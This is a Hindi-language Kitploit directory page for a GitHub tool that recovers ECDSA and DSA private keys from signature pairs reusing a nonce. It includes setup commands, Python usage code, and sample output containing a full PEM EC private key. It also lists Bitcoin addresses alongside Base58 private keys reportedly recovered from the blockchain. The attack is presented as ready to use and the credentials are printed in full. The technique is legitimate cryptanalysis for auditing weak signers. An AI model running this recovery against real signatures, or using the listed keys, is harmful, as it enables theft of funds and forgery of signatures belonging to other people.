Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ecdsa-private-key-recovery — एक क्रिप्टोग्राफिक अनुसंधान उपकरण जो सिग्नेचर कमजोरियों का विश्लेषण करने के लिए है | Kitploit
उपकरण/GitHubGitHub/barnew-st/ecdsa-private-key-recovery
भेद्यता विश्लेषणशोषणडिजिटल फोरेंसिकक्रिप्टोग्राफी
GitHubbarnew-st/ecdsa-private-key-recovery

ecdsa-private-key-recovery

एक क्रिप्टोग्राफिक अनुसंधान उपकरण जो सिग्नेचर कमजोरियों का विश्लेषण करने के लिए है

रिपॉजिटरी देखें
2146810 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ecdsa-key-recovery

ECDSA और DSA नॉन्स पुन:उपयोग (Nonce Reuse) निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें

सिग्नेचर कमजोरियों के विश्लेषण के लिए एक क्रिप्टोग्राफिक अनुसंधान उपकरण

आइए समान nonce k साझा करने वाले दो सिग्नेचरों के लिए निजी-कुंजी पुनर्प्राप्त करें। ध्यान दें कि समान nonce k चुनने से दोनों सिग्नेचरों में समान सिग्नेचर मान r होता है। ECDSA नॉन्स पुन:उपयोग के लिए अच्छे उम्मीदवार खोजने हेतु विभिन्न संदेशों (या हैश) के लिए समान r, pubkey को curve पर साझा करने वाले सिग्नेचरों की जाँच करें। उदा. bitcoind पर आधारित ब्लॉकचेन प्रोजेक्ट आमतौर पर ECDSA सिग्नेचर सामग्री के अच्छे स्रोत होते हैं।

  • sampleA (r, sA, hashA, pubkey, curve)
  • sampleB (r, sB, hashB, pubkey, curve)
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleA के समान privkey, nonce reuse k के कारण समान r।

# निजी कुंजी पुनर्प्राप्त करें
sampleA.recover_nonce_reuse(sampleB)  # sampleA को पुनर्प्राप्त निजी कुंजी से भरता है, उपयोग के लिए तैयार
print sampleA.privkey 

सेटअप

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

बिटकॉइन ब्लॉकचेन से निजी कुंजियाँ पुनर्प्राप्त करना

tools/README.md

BTC पताBase58 Privkeyr
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT6828441658514710620715231245132541628903431519484374098968817647395811175535

उदाहरण

पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# वक्र निर्दिष्ट करें
curve = ecdsa.SECP256k1

# हेक्स-एन्कोडेड स्ट्रिंग से मानक ecdsa pubkey ऑब्जेक्ट बनाएं
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# sampleA और sampleB पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं।
# लंबा r, लंबा s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# कुंजी अभी तक पुनर्प्राप्त नहीं हुई
assert (sampleA.x is None)     

sampleA के लिए निजी कुंजी पुनर्प्राप्त करें

# कुंजी पुनर्प्राप्त करने का प्रयास करें - यह ऑब्जेक्ट sampleA को अपडेट करता है
sampleA.recover_nonce_reuse(sampleB)    # sampleB के साथ साझा निजीकुंजी पुनर्प्राप्त करें
assert (sampleA.x is not None)          # privkey पुनर्प्राप्ति सफल होने की पुष्टि करें। यह हमें उपयोग के लिए तैयार ECDSA privkey ऑब्जेक्ट देता है
assert sampleA.privkey

आउटपुट

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
टूल डाउनलोड करें